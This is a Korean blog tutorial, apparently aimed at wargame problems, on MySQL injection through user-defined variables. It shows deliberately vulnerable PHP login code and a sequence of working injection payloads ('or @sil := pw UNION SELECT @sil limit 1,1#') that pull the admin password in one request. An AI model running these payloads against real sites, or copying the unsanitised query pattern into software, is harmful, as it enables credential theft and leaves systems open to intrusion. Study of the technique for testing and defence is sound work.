SQL Injection using User Defined Variable

SQL Injection using User Defined Variable


사용자 정의 변수를 이용한 SQL injection 기법(거의 문제 풀이용…)

Syntax[refer]

SELECT @UDV := 'String', @UDV := Numeric 
 OR
SET @UDV := 'String'
SELECT * FROM Table WHERE 'Column'=@UDV

MySQL에선 “사용자 정의 변수“를 지원한다. 기본적인 문법은 “@변수명“이고 “:= 값“연산자로 변수에 값을 넣을 수 있다.
하지만 이 변수 선언이 WHERE절 에서도 가능하다는 점이 이 글의 중점이다.

아래와 같은 구조와 데이터를 가진 DB가 있다고 하자.

이때 인증 방식이 아래와 같다.

<?php
$sql = "SELECT `id` FROM `users` WHERE `id`='{$_GET[id]}' and `pw`='{$_GET[pw]}'";
$result = mysql_query($sql);
$row = @mysql_fetch_array($result);

if( isset($row['id']) ) {
	echo "<h1>Welcome! $result['id']</h1>"; 
}

$_GET['pw'] = addslashes($_GET['pw']); // stupid security

$sql = "SELECT `id` FROM `users` WHERE `id`='admin' and `pw`='{$_GET[pw]}'"; // R U Admin?
$result = mysql_query($sql);
$row = @mysql_fetch_array($result);
 
if( isset($row['pw']) && ($row['pw'] === $_GET['pw'])) {
	echo "<h1> $IMPORTANT_DATA </h1>";
}	

1 ~ 8번째 줄까지는 입력된 idpw를 사용해  불러온 id를 “Welcome! {id}”으로  출력 시켜준다.
게다가 그 어떠한 필터링 처리도 되어 있지 않다.
하지만 10번째 줄 이후 부터는 싱글 쿼터를 막는 addslashes함수가 사용되어 12번째 SQL 문장을 공격 할 수 없다. 

게다가 12번째 줄부터는 admin 계정에 대한 정보 인증인데,
입력한 pw가 DB에 있는 pw와 일치하지 않으면,  $IMPORTANT_DATA를 표시 하지 않는다.

보통 이러한 경우 Blind SQL injection을 이용해 pw의 값을 찾아낼 수 있다.
하지만 사용자 정의 변수(User Defined Variable)를 이용하면 한번에 해결 할 수 있다.

 

사용자 정의 변수 사용

SELECT id FROM users WHERE id='admin' and pw='{ ' or @sil := pw #}'

쿼리를 해석하면 WHERE id='admin' and pw='는 FALSE이기 때문에 모두 무시된다. 
하지만 @sil := pw 부분은 사용자 정의 변수선언 되었기 때문에 TRUE를 반환한다.

즉, SQL 쿼리가 참이 되면서 모든 id 값이 나오게 된다. 그리고 해당 결과 값으로 우리가 보는 페이지에는

출력: Welcome! guest

가 뜨게 된다.  

이때 UNION SELECT를 이용해 우리가 저장한 pw 값을 불러 올 수 있다.

SELECT id FROM users WHERE id='admin' and pw='{ ' or @sil := pw UNION SELECT @sil#}'

옆 이처럼 제일 아랫부분에 PW 값이 뜨는 걸 볼 수 있다!
하지만 이는 제일 아래 있기 때문에

출력: Welcome! guest

출력 제일 위로 올려줘야 하고, 출력 될 pw 값을 admin의 pw로 바꿔주기 위해 쿼리를 수정 해야 한다.

최종 쿼리

SELECT id FROM users WHERE id='admin' and pw='{ ' or id='admin' and @sil := pw UNION SELECT @sil limit 1,1#}'

limit이 없을 때 결과

출력: Welcome! admin

 

Limit으로 admin의 pw 값만 뽑아낸 결과

출력: Welcome! 21232f…

 

이 방식의 가장 큰 이점은 blind SQLi 를 통해 일일히 구해야 하는 pw값을 빠르게 찾을 수 있다는 것이다.

글의 문제가 있다면 댓글을 달아 주세요.

이 사이트는 스팸을 줄이는 아키스밋을 사용합니다. 댓글이 어떻게 처리되는지 알아보십시오.